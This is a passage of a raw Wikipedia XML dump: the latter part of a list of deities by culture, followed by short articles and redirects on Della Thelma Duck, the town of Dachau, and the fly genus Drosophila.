* The Three Maha Shaktis (Super Powers) of the Universe or the Super Goddesses In Hinduism
** MahaSaraswati (Great Saraswati) - Universal Force of Creation
** MahaLakshmi (Great Lakshmi) - Universal Force of Preservation
** MahaKali (Great Kali) - Universal Force of Disolussion
*[[Saguna Brahman]], or God with attributes, symbolized as The [[Ishvar]]s (known collectively as the [[Trimurti]]):
**[[Brahma (god)|Brahmâ]], the creator
**[[Vishnu]], the sustainer
*** Avatats(Incarnations) of Vinshnu
**** Matsya Avatar - Fish Incarnation
**** Kurma Avatrar - Tortoise Incarnation
**** Varah Avatar - Boar Incarnation
**** Vaman Avatar - Dwarf Incarnation
**** Narashima Avatar - Man-Lion Incarnation
**** Rama Avatar - Incarnation as the Epic King in Ramayana
**** Krishna Avatar - Incarnation as the Epic Prince in Maha Bharata
**** Budha Avatar - Incarnation as Gautam Buddha - Founder of Buddhism
**** Kalki Avatar - The Avatar yet to come on the onset of Apocalpse
** [[Shiva]], the destroyer
*The [[Adityas]]
**[[Indra]] - god of weather and war
**[[Mitra]] - god of honesty, friendship and contracts
**[[Ravi]], [[Surya]] - [[solar deity|the Sun gods]]
**[[Varuna]] - god of the oceans and rivers
**[[Yama]] - god of death

Some of the most important [[Deva]]s:
*[[Agni]] - god of fire
*The [[Asura]]
*The [[Aswini]] - gods of sunrise and sunset
*[[Dyaus-pitar]] - ('Heaven-father') cognate of the [[Roman mythology|Roman]] god [[Jupiter (mythology)|Jupiter]]
*[[Ganesh]] - god of wisdom, intelligence, education and prudence
*[[Hanuman]]
*[[Kali]], the fearsome dark goddess
*[[Khatushyamji]] - [[Kaliyuga]] ''[[avatar]]'' of [[Krishna]]
*[[Krishna]] - eighth ''[[avatar]]'' of [[Vishnu]]. Krishna is seen as the original form of God by [[Gaudiya Vaishnavas]].
*[[Lakshmi]] - goddess of fortune, luck, beauty and fertility
*[[Parjanya]]
*[[Parvati]] or [[Parvathi]], [[wife]] of [[Shiva]]
*[[Prithivi mata]] - the Earth goddess
*[[Purusha]] - the Cosmic-Man
*The [[Rudras]] - the storm deities
*[[Saraswathi|Saraswati]] - goddess of intelligence, consciousness and cosmic knowledge
*[[Soma]] - the [[lunar deity]]
*[[Ushas]]
*[[Vasu|Vasus]], the
*[[Vayu]] - god of wind
* The [[Visvedevas]]
** [[Ishvara]] - One who gives prosperity.
** [[Hari]] - One who destroys sins (obstacles on the way to Moksha (liberation from the cycles of birth-death-birth)).
** [[Narayana]] - The final destination towards which all individual souls are travelling.

== [[Ho-Chunk mythology|Ho-Chunk]] ==
*[[Kokopelli]]

== [[Hopi mythology|Hopi]] ==
*[[Aholi]]
*[[Angwusnasomtaka]]
*[[Kokopelli]]
*[[Koyangwuti]]
*[[Muyingwa]]
*[[Taiowa]]
*[[Toho]]

See also [[kachina]]

== [[Huron mythology|Huron]] ==
*[[Iosheka]]
*[[Airesekui]]
*[[Heng]]

== [[Ibo mythology|Ibo]] ==
*[[Aha Njoku]]
*[[Ala (mythology)|Ala]]
*[[Chuku]]

== [[Incan mythology|Incan]] ==
*[[Inti|Inti/Punchau]]
*[[Inca mythology|Kon]]
*[[Mama Cocha]]
*[[Mama Quilla]]
*[[Manco Capac]]
*[[Pacha Camac]]
*[[Viracocha]]
*[[Inca mythology|Zaramama]]

== [[Inuit mythology|Inuit]] ==
*[[Igaluk]]
*[[Nanook]]
*[[Nerrivik]]
*[[Pinga]]
*[[Sedna (deity)|Sedna]]
*[[Torngasoak]]

== [[Iroquois mythology|Iroquois]] ==
*[[Adekagagwaa]]
*[[Gaol]]
*[[Gendenwitha]]
*[[Gohone]]
*[[Hahgwehdaetgan]]
*[[Hahgwehdiyu]]
*[[Onatha]]

== [[Islam]]ic ==
*[[Allah]]

== [[Isoko mythology|Isoko]] ==
*[[Cghene]]

== [[Japanese mythology|Japanese]] ==
*[[Aji-Suki-Taka-Hiko-Ne]] - god of thunder  
*[[Amaterasu]]  - sun goddess  
*[[Amatsu Mikaboshi]]  - god of evil  
*[[Ama-no-Uzume]] - fertility goddess 
*[[Chimata-No-Kami]]  - god of crossroads, highways and footpaths  
*[[Ho-Musubi]]  - god of fire  
*[[Inari (mythology)]]  - god of rice
*[[Izanagi]]  - creator god  
*[[Izanami]]  - creator goddess  
*[[Kagu-tsuchi]]  - god of fire  &lt;!-- &quot;Kawa no kami&quot; is not a proper noun but a direct translation of &quot;god of rivers&quot;; there are many &quot;Kawa no kami&quot; and more and more many &quot;Something no kami&quot; in Japan. But they are less known.--&gt;
*[[Kura-Okami]]  - god of rain  
*[[Nai-No-Kami]]  - god of earthquakes  
*[[O-Kuni-Nushi]]  - god of sorcery and medicine  
*[[O-Wata-Tsu-Mi]]  - god of the sea  
*[[Sengen-Sama]]  - goddess of the [[Mt. Fujiyama]]
*[[Seven Gods of Fortune]]
**[[Benzaiten|Benzai-ten]] or Benten - goddess of money, eloquent persuasion, and knowledge
**[[Bishamonten|Bishamon-ten]]  - god of happiness and war
**[[Daikokuten|Daikoku-ten]]
**[[Fukurokuju]]
**[[Hotei|Hotei-osho]]
**[[Jurojin]]
**[[Yebisu]] or Ebisu
*[[Shina-Tsu-Hiko]] - god of wind  
*[[Shina-To-Be]] - goddess of wind
*[[Sojobo]] - king of the [[tengu]]  
*[[Susanoo]] - god of storms and thunder, snakes and farming. 
*[[Taka-Okami]] - god of rain  
*[[Take-Mikazuchi]] - god of thunder
&lt;!-- *[[Tatari aki]] - god of vengeance --&gt;
*[[Tengu]] - minor trickster deities  
*[[Tsuku-Yomi]] - god of the moon  
*[[Uke-Mochi]] - goddess of food  
*[[Wakahiru-Me]] - goddess of the dawn sun 

:''see also'' [[Kami]], [[List of divinities in Japanese mythology]]

== [[Judaism|Judaic]] ==
*[[Adonai]]/[[Names of God in Judaism#Ehyeh-Asher-Ehyeh|Ehyeh-Asher-Ehyeh]]/[[El (god)|El]]/[[Elohim]]/[[Shaddai]]/[[Names of God in Judaism#Shalom|Shalom]]/[[Names of God in Judaism#Yah|Yah]]/[[Tetragrammaton|YHWH]]/[[Names of God in Judaism#YHWH Tzevaot/Sabaoth|YHWH Tzevaot]] (God)
*[[Shekinah]] (the Presence of God; not an independent deity, but sometimes treated as if it were by the mystically inclined)

== [[Khoikhoi mythology|Khoikhoi]] ==
*[[Gamab]]
*[[Heitsi-eibib]]
*[[Tsui'goab]]

== Modern Western mythology ==
In addition to the gods listed elsewhere, there are several mythological beings spoken of in current [[Western world|Western culture]]. 

*The [[Death (personification)|Grim Reaper]] - A common [[anthropomorphism]] of Death
*[[Eris]], adopted deity of [[Discordianism]]
*[[Father Time]]
*[[Gremlin|Gremlins]] - mythical beings that damage aircraft and cause other mechanical mayhem
*[[Hotei]] - A Laughing Buddha
*[[Invisible Pink Unicorn]] - From alt.[[atheism]], a fictional deity said to be the bane of theists everywhere.
*[[J. R. &quot;Bob&quot; Dobbs]] from the [[Church of the SubGenius]]
*[[Luck|Lady Luck]] - Invoked by [[gambling|gamblers]]
*[[Gaia (mythology)|Mother Nature]]
*[[Santa Claus]] - In most parts of the world, originally [[Nicholas of Myra]], but in the [[UK]] originally the [[Green Man]], later turned into Father Christmas.
*The [[Tooth Fairy]]
*The [[Easter Bunny]]
*The Man on the Moon
*The Acne Monster
*The [[Flying Spaghetti Monster]]

See also [[Kitchen Gods]].

== [[!Xũ mythology|!Xũ]] ==
*[[Prishiboro]]
*[[Mantis]]

== [[Kwakiutl mythology|Kwakiutl]] ==
*[[Kewkwaxa'we]]

== [[Lakota mythology|Lakota]] ==
*[[Canopus (deity)|Canopus]]
*[[Haokah]]
*[[Whope]]
*[[Wi]]

== [[Lotuko mythology|Lotuko]] ==
*[[Ajok]]

== [[Latvian mythology|Latvian]] ==
*[[Auseklis]]
*Dēkla
*[[Dievs]]
*Jumis
*Kārta
*[[Laima]]
*[[Māra (goddess)|Māra]]
*[[Perkūnas|Pērkons]]
*Saule
*Ūsiņš
etc.

== [[Lugbara mythology|Lugbara]] ==
*[[Adroa]]
*[[Adroanzi]]

== [[Lusitani mythology|Lusitani]] ==
[[Lusitania|Lusitanian]] (or Ancient [[Portugal|Portuguese]]) Gods were later related with the Celtic and [[Roman mythology|Roman]] invaders. The Lusitani people adopted the Celt and Roman cults and influenced them with theirs. Many Lusitani gods were adopted by the Romans.
*[[Atégina]] 
*[[Ares Lusitani]] 
*[[Bandonga]] 
*[[Bormanico]] 
*[[Cariocecus]] 
*[[Duberdicus]] 
*[[Endovelicus]] 
*[[Mars Cariocecus]] 
*[[Nabia]] 
*[[Nantosvelta]] 
*[[Runesocesius]] 
*[[Sucellus]] 
*[[Tongoenabiagus]] 
*[[Trebaruna]] 
*[[Turiacus]]

== [[Maya mythology|Mayan]] ==
*[[Ahaw Kin]] - Sun God 
*[[Chaac]] - Rain God 
*[[Yum Kaax]] - Corn God
*[[Kukulcan]] - Feathered Serpent God 
*[[Xbalanque]] - God of the Jaguar 
*[[Hunah Ku]] - Creator God 
*[[Xi Balba]] - God of the Death 
*[[Ix Chel]] - Moon Goddess 
*[[Itzamna]] - Reptile Creator God 
*[[Bolon tza cab]] - Ruling God of All 
*[[Balac]] - War God
*[[Bacabs]] - Gods of the 4 directions
*[[Balam]] - Protector God

== [[Mesopotamian mythology|Mesopotamian]] ==
{{Mesopotamian myth (50)}}
*[[Anshar]] - father of heaven 
*[[Anu]] -  the god of the highest heaven 
*[[Apsu]] - the ruler of gods and underworld oceans
*[[Ashur]] -  national god of the Assyrians 
*[[Damkina]] - Earth mother goddess
*[[Enki|Ea]] -  god of wisdom 
*[[Enlil]] -  god of weather and storms 
*[[Ninurta]] -  god of war 
*[[Ereshkigal]] - Goddes of Darkness, Death, and Gloom
*[[Hadad]] - weather god
*[[Ishtar]] -  goddess of love (Gingira in Akkadian)
*[[Kingu]] -  husband of Tiamat 
*[[Kishar]] -  father of earth 
*[[Marduk]] -  national god of the Babylonians 
*[[Mummu]] - god of mists
*[[Nabu]] -  god of the scribal arts 
*[[Nintu]] - mother of all gods
*[[Shamash]] -  god of the sun and of justice (Shapash in Ugaritic, Shamsa in Sumerian)
*[[Sin (mythology)|Sin]] - moon god
*[[Tiamat]] -  dragon goddess

== [[Navaho mythology|Navaho]] ==
*[[Ahsonnutli]]
*[[Bikeh Hozho]]
*[[Estanatelhi]]
*[[Glispa]]
*[[Hasteoltoi]]
*[[Hastshehogan]]
*[[Tonenili]]
*[[Tsohanoai]]
*[[Yolkai Estasan]]

== [[Norse mythology|Norse]] ==
*[[Ægir]]
*[[Balder]]
*[[Bragi]]
*[[Freyr]]
*[[Freya]] (ON Freyja)
*[[Frigg]]
*[[Heimdall]] (ON Heimdallr)
*[[Hel (goddess)|Hel]]
*[[Hodur]] (ON Hǫðr)
*[[Iðunn]]
*[[Loki]]
*[[Niord]] (ON Njǫrðr)
*[[Odin]] (ON Óðinn)
*[[Sif]]
*[[Thor]] (ON Þórr)
*[[Tyr]] (ON Týr)
*[[Vali (Norse mythology)|Vali]] (ON Váli)

== [[Pawnee mythology|Pawnee]] ==
*[[Pah]]
*[[Shakuru]]
*[[Tirawa]]

== [[Persian mythology|Persian]] ==
* See the article: [[Persian deities]]

== [[Polynesian mythology|Polynesian]] ==
*[[Atea]]
*[[Ina (goddess)|Ina]]
*[[Kane Milohai]]
*[[Maui (mythology)|Maui]]
*[[Papa]]
*[[Pele (mythology)|Pele]]
*[[Rangi]]
*[[Rongo]]
*[[Lono]]

see also [[Menehune]]

== [[Prussian people|Prussian]] and [[Baltic peoples|Baltic]] ==
*[[Bangputtis]]
*[[Melletele]]
*[[Occupirn]]
*[[Perkunatete]]
*[[Perkunos]]
*[[Pikullos]]
*[[Potrimpos]]
*[[Swaigstigr]]

== [[Pygmy mythology|Pygmy]] ==
*[[Arebati]]
*[[Khonvoum]]
*[[Tore]]

== [[Roman mythology|Roman]] ==
*[[Apollo]] - god of the sun, poetry, music (Same for Greeks)
*[[Dionysus|Bacchus]] - god of wine (Greek Bacchus or Dionysus)
*[[Ceres (mythology)|Ceres]] - goddess of the harvest (Greek Demeter)
*[[Cupid]] - god of love (Greek Eros)
*[[Diana (goddess)|Diana]] - goddess of the hunt (Greek Artemis)
*[[Janus (mythology)|Janus]] - two-headed god of beginnings and endings
*[[Juno (mythology)|Juno]] - chief goddess, marriage (Greek Hera)
*[[Jupiter (mythology)|Jupiter]] - chief god, sky (Greek Zeus)
*[[Maia (mythology)|Maia]] - the &quot;good goddess&quot;, spring
*[[Mars (mythology)|Mars]] - god of war (Greek Ares, but characterized more positively)
*[[Mercury (mythology)|Mercury]] - messenger of the gods (Greek Hermes)
*[[Minerva]] - goddess of wisdom, civilization (Greek Athena)
*[[Neptune (mythology)|Neptune]] - god of the sea (Greek Poseidon)
*[[Pluto (mythology)|Pluto]] - god of the underworld (Greek Hades)
*[[Plutus]] - god of wealth
*[[Proserpina]] - queen of the underworld (Greek Persephone)
*[[Saturn (mythology)|Saturn]] - father of Jupiter (Greek Cronus)
*[[Uranus (mythology)|Uranus]] - father of Saturn (Greek Oranos - ''a titan'')
*[[Venus (mythology)|Venus]] - goddess of beauty (Greek Aphrodite)
*[[Vesta (mythology)|Vesta]] - goddess of the hearth (Greek Hestia)
*[[Vulcan (mythology)|Vulcan]] - god of the forge (Greek Hephestus)

== [[Salish mythology|Salish]] ==
*[[Amotken]]

== [[Sardinia]]n ==
Sardinian deities, mainly referred to in the age of [[Nuragici people]], are partly derived from [[Phoenicia]]n ones.

*[[Janas]] Goddesses of death
*[[Maymon]] God of [[Hades]]
*[[Panas]] Goddesses of reproduction (women dead in childbirth)
*[[Thanit]] Goddess of Earth and fertility

== [[Semitic gods|Semitic pagan]] ==
{{Semitic deities}}

*[[Adonis]]
*[[Anat]]
*[[Asherah]]
*[[Astarte]]
*[[Hadad|Baʿal/Hadad]]
*[[Dagon]]
*[[El (god)|El]]
*[[Mot]]
*[[Yaw (god)|Yaw]]
*[[Adad]]
*[[Amurru]]
*[[An (mythology)|An]]/[[Anu]]
*[[Anshar]] | [[Asshur]]
*[[Apsu|Abzu/Apsu]]
*[[Enki|Enki/Ea]]
*[[Enlil]]
*[[Ereshkigal]]
*[[Inanna]]/[[Ishtar]]
*[[Kingu]] | [[Kishar]]
*[[Lahmu]] &amp; [[Lahamu]]
*[[Marduk]]
*[[Mummu]]
*[[Nabu]]
*[[Nammu]]
*[[Nanna (Sumerian deity)|Nanna]]/[[Sin (mythology)|Sin]]
*[[Nergal]]
*[[Ninhursag|Ninhursag/Damkina]]
*[[Ninlil]]
*[[Tiamat]]
*[[Utu]]/[[Shamash]]
*[[Beelzebub]]

''See also:''  [[Judaism and Islam]] and [http://en.wikipedia.org/wiki/Category:Levantine_mythology Levantine mythology]

== [[Seneca mythology|Seneca]] ==
*[[Eagentci]]
*[[Hagones]]
*[[Hawenniyo]]
*[[Kaakwha]]

== [[Sikhism]] ==
*[[Waheguru]]

==[[Slavic mythology|Slavic]]==
*[[Belobog]]
*[[Berstuk]]
*[[Cislobog]]
*[[Crnobog]]
*[[Dajbog]]
*[[Dziewona]]
*[[Flins]]
*[[Hors]]
*[[Jarilo]]
*[[Juthrbog]]
*[[Karewit]]
*[[Koleda]]
*[[Lada and Lado]]
*[[Marowit]]
*[[Perun]]
*[[Podaga]]
*[[Porewit]]
*[[Radegast]]
*[[Rugiwit]]
*[[Simargl]]
*[[Siwa (mythology)|Sieba]]
*[[Siebog]]
*[[Stribog]]
*[[Svarog]]
*[[Svetovid]]
*[[Triglav (mythology)|Triglav]]
*[[Veles (god)|Veles]]
*[[Zirnitra]]

== [[Sumerian mythology|Sumerian]] ==
*[[An (mythology)|An]]
*[[Enki]]
*[[Enlil]]
*[[Inanna]]
*[[Nammu]]
*[[Nanna]]
*[[Ninhursag]]
*[[Ninlil]]
*[[Sin (mythology)|Sin]]
*[[Utu]]

See also [[Annuna]] and [[List of deities#Mesopotamian|Mesopotamian deities]] for a more complete list.

== [[Thracian mythology|Thracian]] ==
*[[Zibelthiurdos]]

== [[Tumbuka mythology|Tumbuka]] ==
*[[Chiuta]]

== [[Ugarit]] ==
*[[El (god)|El]], the father god and head 
*[[Hadad|Haddu]], commonly titled [[Baal|Ba‘l]], a rain god and storm god.
*[[Dagan|Dagon]], god of earth 
*[[Asherah|Athirat]], mother goddess
*[[`Anat|‘Anat]], war goddess
*[[`Ashtart|‘Athtart]], goddess of fertility
*[[Yaw (god)|Yaw]], the god of the sea 
*[[Mot]], the god of death 

''Note: Ugarit gives us our earliest and fullest snapshot of Canaanite religion and northwest Semitic religion.''

== [[Yoruba mythology|Yoruba]] ==
*[[Aja (Yoruba mythology)|Aja]]
*[[Aje]]
*[[Egungun-oya]]
*[[Eshu]]
*[[Oba]]
*[[Obatala]]
*[[Odùduwà]]
*[[Oloddumare]]
*[[Olokun]]
*[[Olorun]]
*[[Orunmila]]
*[[Oshun]]
*[[Oshunmare]]
*[[Oya]]
*[[Shakpana]]
*[[Shango]]
*[[Yansan]]
*[[Yemaja]]

== [[Zoroastrianism|Zoroastrian]] ==
{{verify}}
Like [[List of deities#Christianity|Christianity]], Zoroastrianism is a [[revealed religion]] with [[monotheism|one God]] in a form resembling a trinity presiding over a heavenly hierarchy of [[archangels]] ([[Amesha Spenta]]s) and [[angels]].

*[[Ahura Mazda]] (Wise Lord), the head of a trinity and heptad of emanations or [[Yazata|aspects of God's mind]]
:*[[Mithra]], light, &quot;Judge of Souls,&quot; the son, the savior, birth celebrated during [[Yule]], called ''[[Yalda]].''
:*[[Atar]]/[[Agni]], fire, [[Spenta Mainyu]], &quot;Good Spirit&quot; (analogous to the [[Holy Spirit]])

*([[Angra Mainyu]], the [[Devil|Evil Spirit]] -opposite of the 'Good Spirit')

== [[Zulu mythology|Zulu]] ==
*[[Mamlambo]]
*[[Mbaba Mwana Waresa]]
*[[uKqili]]
*[[Umvelinqangi]]
*[[Unkulunkulu]]

== [[Zuni mythology|Zuni]] ==
*[[Achiyalatopa]]
*[[Apoyan Tachi]]
*[[Awitelin Tsta]]
*[[Awonawilona]]
*[[Kokopelli]]

== External links ==
* [http://templezagduku.org Temple Zagduku] - religious organization honoring Sumerian deities
* [http://www.godchecker.com Godchecker] - searchable encyclopedia of over 2,000 gods and goddesses from all cultures of the world

[[Category:Deities]]
[[Category:Religion-related lists|Deities]]

[[et:Jumalate loend]]
[[es:Lista de dioses]]
[[it:Lista di divinità]]
[[he:אלים בתולדות העמים]]
[[ja:神の一覧]]
[[pt:Lista de mitologias]]
[[scn:Lista di divinitati]]
[[sv:Lista över mytologiska gestalter]]</text>
    </revision>
  </page>
  <page>
    <title>Deep England</title>
    <id>9028</id>
    <revision>
      <id>15906953</id>
      <timestamp>2003-09-18T17:52:40Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirect to [[Merry England]]</comment>
      <text xml:space="preserve">#REDIRECT [[Merry England]]</text>
    </revision>
  </page>
  <page>
    <title>Della Thelma Duck</title>
    <id>9029</id>
    <revision>
      <id>39249280</id>
      <timestamp>2006-02-11T21:14:09Z</timestamp>
      <contributor>
        <ip>82.75.238.206</ip>
      </contributor>
      <comment>ooh, it all comes together now</comment>
      <text xml:space="preserve">'''Della Thelma Duck''' (nicknamed '''Dumbella''') is a [[fictional character]] created as an [[unseen character]] by [[Ted Osborne]] and [[Al Taliaferro]]. She was first mentioned in a [[newspaper]] [[comic strip]] on [[October 17]], [[1937]].

She was the daughter of [[Hortense McDuck]] and [[Quackmore Duck]]. According to comics writer [[Don Rosa]], Della was &quot;born&quot; around [[1920]]. Her twin brother is [[Donald Duck]]; she is also the mother of [[Huey, Dewey and Louie]] Duck.

Her husband's identity is something of a mystery, as he is hidden by a bird and several branches on Disney comics artist [[Don Rosa]]'s [[family tree]]. While Rosa revealed that Della's husband is the brother of [[Daisy Duck]], little else is known about him. It was revealed in an early comic strip that Mr. Duck was sent to the [[hospital]] because Huey, Dewey and Louie placed a [[firecracker]] under his armchair as a prank, with disastrous results. It was because of this incident that Della (or &quot;Dumbella&quot; as she was called in the theatrical cartoon that introduced the nephews) sent her sons to her brother, Donald Duck. While originally meant to be a one-month stay, the nephews wound up staying with Donald permanently; the reasons for this are unknown.

In one Donald adventure, Donald Duck dresses up in a long, red wig and notes how much he looks like his sister. Several stories written by Rosa also show Della as a child, alongside her brother Donald. Donald also went to Africa to look for his sister in the Dutch version of the 'Donald Duck' magazine but found a long-lost aunt instead, [[Matilda McDuck]].

[[Category:Characters in the Scrooge McDuck universe|Duck, Della Thelma]]
[[Category:Fictional ducks|Duck, Della Thelma]]
[[Category:Donald Duck|Duck, Della Thelma]]
[[Category:Fictional Scots|Duck, Della Thelma]]

[[da:Della And]]
[[fi:Della Ankka]]
[[fr:Della Duck]]
[[it:Della Duck]]
[[nl:Dumbella Duck]]
[[sv:Della Thelma Anka]]</text>
    </revision>
  </page>
  <page>
    <title>Dachau</title>
    <id>9030</id>
    <revision>
      <id>40667739</id>
      <timestamp>2006-02-22T04:20:09Z</timestamp>
      <contributor>
        <username>BenFrantzDale</username>
        <id>41799</id>
      </contributor>
      <minor />
      <comment>indent</comment>
      <text xml:space="preserve">:''This article is about '''Dachau''' town. For the [[concentration camp]], see [[Dachau concentration camp]]. For the massacre committed by Americans, see [[Dachau Massacre]]''.&lt;br&gt;
[[Image:DachauAutumn20021025.JPG|thumbnail|right|250px|Dachau in autumn 2002.]]
'''Dachau''' is an attractive city in southern [[Germany]], in the [[States of Germany|federal state]] of [[Bavaria]].  Located at {{coor dm|48|15|N|11|27|E|region:DE_type:city(40,000)}}, just 20 km away from [[Munich]], it has become a popular housing area for people working in Munich, and now has roughly 40,000 inhabitants.  The town has a historic city center, with a castle built in the [[18th century]].

Dachau was founded in the [[8th century]], and was the home of many artists during the late [[19th century|19th]] and early [[20th century|20th centuries]]. The writer [[Ludwig Thoma]] was born there. 

Dachau is best known for the proximity of the relatively well-preserved site of the infamous [[Dachau concentration camp]], the first large-scale [[concentration camp]] in Germany, converted from an old gunpowder factory by the Nazi regime in [[1933]]. 

[[Category:Towns in Bavaria]]
{{Bavaria-geo-stub}}

[[de:Dachau]]
[[eo:Dachau]]
[[fr:Dachau]]
[[id:Dachau]]
[[it:Dachau]]
[[ja:ダッハウ]]
[[he:דכאו (עיר)]]
[[nl:Dachau]]
[[pl:Dachau]]
[[sv:Dachau]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmouth College case</title>
    <id>9031</id>
    <revision>
      <id>15906956</id>
      <timestamp>2004-11-28T06:44:22Z</timestamp>
      <contributor>
        <username>Nickj</username>
        <id>94904</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki syntax]].</comment>
      <text xml:space="preserve">#REDIRECT [[Dartmouth College v. Woodward]]</text>
    </revision>
  </page>
  <page>
    <title>Drosophila</title>
    <id>9032</id>
    <revision>
      <id>41630460</id>
      <timestamp>2006-02-28T17:25:33Z</timestamp>
      <contributor>
        <ip>168.102.134.128</ip>
      </contributor>
      <comment>/* Name */</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Drosophila''
| image = Drosm3.gif
| image_caption = Male ''[[Drosophila melanogaster]]''
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Insect]]a
| ordo = [[Diptera]]
| familia = [[Drosophilidae]]
| subfamilia = [[Drosophilinae]]
| genus = '''''Drosophila'''''
| genus_authority = [[Carl Frederick Fallén|Fallén]], 1823
| type_species = ''[[Musca funebris]]''
| type_species_authority =  [[Johan Christian Fabricius|Fabricius]], 1787
| subdivision_ranks = Species
| subdivision = 
Many; see text.
}}

'''''Drosophila''''' is a [[genus]] of small [[fly|flies]] whose members are often called small [[Drosophilidae|fruit flies]], or more appropriately [[vinegar]] flies, [[wine]] flies, [[pomace]] flies, [[grape]] flies, and picked fruit-flies. The genus contains about 2,600 species. One species in particular, ''[[Drosophila melanogaster]]'', has been heavily used in research in [[genetics]] and is a common [[model organism]] in [[developmental biology]]. Indeed,  the terms &quot;fruit fly&quot; and &quot;''Drosophila''&quot; are often used synonymously with ''D. melanogaster'' in modern biological literature. This article however deals with the whole genus.

== Name ==
The term &quot;Drosophila&quot; is a modern scientific [[Latin]] adaptation from [[Greek language|Greek]] &amp;#948;&amp;#961;&amp;#972;&amp;#963;&amp;#959;&amp;#962;, ''drósos'', &quot;[[dew]]&quot;, + &amp;#966;&amp;#943;&amp;#955;&amp;#959;&amp;#962;, ''phílos'', &quot;loving&quot; + Latin feminine suffix ''-a''.

==Physique==
[[Image:FFEYE2.jpg|thumb|left|[[SEM]] image of a Drosophila compound eye]]
[[Image:SEMFF.jpg|right|thumb|[[SEM]] of Drosophilia.]]
Typically, the small, two-winged flies of the genus ''Drosophila'' differ between pale yellow and dark brown, while size varies largely. Most species have red eyes. The feathered [[arista]] is characteristic of the family.
[[Image:55542main maflies med.jpg|thumb|Male (left) and female fruit flies.]]
''Drosophila'' is part of the phylum [[Arthropod]]a, a phylum of segmented animals with paired, jointed appendages and a hard exoskeleton made of [[chitin]]. They have an [[Circulatory system#Open circulatory system|open circulatory system]] with a [[dorsal]] heart, with [[Circulatory system#Open circulatory system|hemocoel]] occupying most of the body cavity, and a reduced [[body cavity| coelom]].

The insect respires by means of air-filled internal tubes, the [[trachea]]. This [[germ layer|ectoderm]]-derived organ forms a highly branched tubular network which provides the organs with oxygen.

The eye of the Drosophila consists of compound eyes and hairs which clean the eye then fall off, since it has no eye lids.

==Lifecycle and ecology==

===Habitat===
''Drosophila'''s are found all around the world, with relative more species in the tropical regions. They can be found in [[deserts]], [[tropical rainforest]], [[cities]], [[swamp]]s, [[alpine zone]]s etc. Species in northern areas [[hibernation|hibernate]].  Suitable breeding substrates varies largely between decaying [[fruit]]s, plant material, [[mushroom]]s, [[slime flux]]es, [[flower]]s and a whole range of more exotic substrates (“[[leaf miner]]s, [[parasite]]s, or predators.&quot; (Swan, 1972)). Males of many species congregate at patches of suitable breeding substrate to compete for the females.
 
==== Human environment ====
:They appear on over-ripe fruit in kitchens, they swarm in thousands about the residue produced by the pressing of grapes or apples for wine. They nibble on marmalade and other preserves, and wherever vinegar is standing open, they are there.

===Reproduction===
[[Image:Drosophila egg.png|frame|''Drosophila melanogaster'' egg]]
&quot;The female fruit fly lays batches of between 15 and 20 white eggs each day.&quot; (Burton) Female of some species (for example ''[[D. melanogaster]]'') lays up to 2000 pearly white eggs, each with a pair of &amp;#8220;wings&amp;#8221; or respiratory &amp;#8220;horns&amp;#8221; near the anterior end; the eggs of all known ''Drosophila'' have one or more of these horns, the tips of which extend above the surface of the moist media in which the eggs develop. Females lay their eggs on or close to the breeding substrate mostly in small clumps. Larvae eat the [[yeast]]s and [[microorganism]]s present on the decaying breeding substrate. Development time varies largely between species (between 7 and more than 50 days) and depends on the environmental factors such as [[temperature]], breeding substrate and crowding.

===Predators===
One predator is the nymph of the orchid [[mantis]] which feeds on free living insects, primarily fruit flies.

== Phylogeny ==

The [[genus]] ''[[Drosophila]]'' is highly [[paraphyletic]] with currently nine [[subgenera]].  The majority of the [[species]] are member of three subgenera: ''[[Drosophila (subgenus) | Drosophila]]'' (~675 species), ''[[Idiomyia]]'' (Hawaiian ''Drosophila''; ~375 species) and ''[[Sophophora]]'' (including ''[[Drosophila melanogaster|D. (S.) melanogaster]]''; ~325 species). Of the remaining [[subgenera]] (each with less than 10 species), only one species of the subgenus ''Dorsilopha'', ''D. (D.) busckii'', is regularly studied by researchers.

The evidence in the scientific literature suggest that the folowing genera are located within the genus ''Drosophila''.
&lt;P&gt;Within [[subgenus]] ''[[Drosophila (subgenus) | Drosophila]]'':
:Hirtodrosophila &lt;small&gt;Duda, 1923&lt;/small&gt;
:Mycodrosophila &lt;small&gt;Oldenburg, 1914&lt;/small&gt;
:Zaprionus &lt;small&gt;Coquillett, 1901&lt;/small&gt;
:Samoaia &lt;small&gt;Malloch, 1934&lt;/small&gt;
:Liodrosophila &lt;small&gt;Duda, 1922&lt;/small&gt;
:Dichaetophora &lt;small&gt;Duda, 1940&lt;/small&gt;
:Scaptomyza &lt;small&gt;Hardy, 1849&lt;/small&gt;
:subgenus ''[[Idiomyia]]''

&lt;P&gt;Within subgenus ''[[Sophophora]]'':
:Lordiphosa &lt;small&gt;Basden, 1961&lt;/small&gt;

==Species==
The genus contains about 2,600 described species, including:

* [[Drosophila funebris]] &lt;small&gt;([[Johan Christian Fabricius|Fabricius]], 1787)&lt;/small&gt;; Type specimen of the genus and originally placed in the genus ''[[Musca (genus)|Musca]]''
* [[Drosophila melanogaster]] &lt;small&gt;Meigen, 1830&lt;/small&gt;
* [[Drosophila simulans]] &lt;small&gt;Sturtevant, 1919&lt;/small&gt;

For other species, see for now [http://taxodros.unizh.ch/ Taxodros].

==External links==
*[http://www.nasa.gov/vision/earth/livingthings/03feb_fruitfly.html Fruit Flies in Space] NASA-supported researchers are going to send fruit flies to the International Space Station to learn what space travel does to the genes of astronauts
*[http://flybase.bio.indiana.edu/ Fly Base] FlyBase is a comprehensive database for information on the genetics and molecular biology of Drosophila. It includes data from the Drosophila Genome Projects and data curated from the literature. FlyBase is a joint project with the [http://www.fruitfly.org/ Berkeley Drosophila Genome Project].
*[http://rana.lbl.gov/drosophila/ AAA]Assembly, Alignment and Annotation of 12 Drosophila species
*[http://taxodros.unizh.ch/ TaxoDros:]  The database on Taxonomy of Drosophilidae
*[http://www.pbase.com/holopain/image/50253175 Image]

==References==
#Burton, Maurice. &quot;Fruit Fly.&quot; ''International Wildlife Encyclopedia''. 2002 ed.
#Freeman, Scott. ''Biological Science''. New Jersey: Prentice-Hall, Inc., 2002.
#&quot;Pomace Flies&quot;. ''Grzimek's Animal Life Encyclopedia'', First Edition, 1969.
